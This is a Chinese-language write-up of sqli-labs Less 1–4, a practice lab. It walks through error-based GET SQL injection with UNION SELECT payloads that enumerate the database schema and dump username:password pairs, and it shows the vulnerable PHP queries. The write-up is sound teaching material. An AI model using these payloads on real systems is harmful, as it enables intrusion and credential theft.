sqli-labs:Less 1~4
sqli-labs:Less 1 ~ 4
Less 1~4 都是使用 GET 方法传参,根据 MySQL 的报错信息判断注入类型,再进行注入。
Less 1
基于错误的 GET 单引号字符型注入
判断注入类型
首先先注入正常的参数,网页回显正常的信息。
?id=1 |
尝试注入个单引号闭合,网页回显MySQL报错,说明存在注入漏洞。
?id=1' |
接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。也就是说我们注入的单引号起到了一个闭合的作用,这是一个字符型注入。
?id=1'--+ |
获取数据库信息
判断表有几列,使用order by子句进行一个排序,看一下对几列有效,测试到第 4 列无回显,说明表中一共有 3 列。
?id=1' order by 3--+ |
判断哪些列是我们能用的,首先令 id 参数为负数(为了查询不到结果),然后使用union进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。
?id=99' UNION SELECT 1,2,3--+ |
查询库名,得到库名security
?id=-1' union select 1,2,database() --+ |
查询表名,得到表名:emails,referers,uagents,users
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
爆破users表的字段名,得到字段名:id,username,password
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+ |
获取目标信息
users表中存在用户名和密码这种敏感信息,接下来爆破这些信息
?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users--+ |
关卡SQL查询语句
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
Less 2
基于错误的GET整型注入
判断注入类型
首先先注入正常的参数,网页回显正常的信息。
?id=1 |
尝试注入个单引号闭合,网页回显 MySQL报错,说明存在注入漏洞。
?id=1' |
接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。也就是说我们注入的单引号没有起到闭合的作用,这是一个数字型注入。数字型注入和字符型的区别在于我们不需要用单引号去闭合,其他操作步骤和 Less 1 相同。
?id=1'--+ |
获取数据库信息
判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。
?id=1 order by 3 |
令 id 参数的查询不到结果,然后使用union select进行组合查询,网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。
?id=-1 union select 1,2,3 |
爆数据库名,我们选择第 2 个位置作为显示位。
?id=-1 union select 1,database(),3 |
爆表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' |
爆users表的字段名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' |
获取目标信息
爆出users表中的信息
?id=-1 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users |
关卡SQL查询语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
Less 3
基于错误的 GET 单引号变形字符型注入
判断注入类型
首先先注入正常的参数,网页回显正常的信息。
?id=1 |
尝试注入个单引号闭合,网页回显 MySQL报错,说明存在注入漏洞。
?id=1' |
根据报错信息我们需要一个括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。
?id=1')--+ |
获取数据库信息
判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。
?id=1') order by 3 --+ |
爆数据库名,我们选择第 3 个位置作为显示位。
?id=-1') union select 1,2,database() --+ |
…除了多一个)
外,步骤与Less 1完全相同
获取目标信息
同Less 1
关卡SQL查询语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
Less 4
基于错误的 GET 双引号字符型注入
判断注入类型
依次尝试注入
?id=1 |
尝试注入个双引号闭合时,网页回显 MySQL报错,说明存在注入漏洞。
根据报错信息,可以看到此处还存在括号,因此我们需要使用双引号和括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。
?id=1") --+ |
获取数据库信息
判断表有几列,使用order by子句进行一个排序,测试到第 4 列无回显,说明表中一共有 3 列。
?id=1") order by 3 --+ |
爆数据库名,我们选择第 3 个位置作为显示位。
?id=-1") union select 1,2,database() --+ |
…除了采用"
和)
闭合 外,步骤与Less 1完全相同
获取目标信息
同Less 1
关卡SQL查询语句
$id = '"' . $id . '"'; |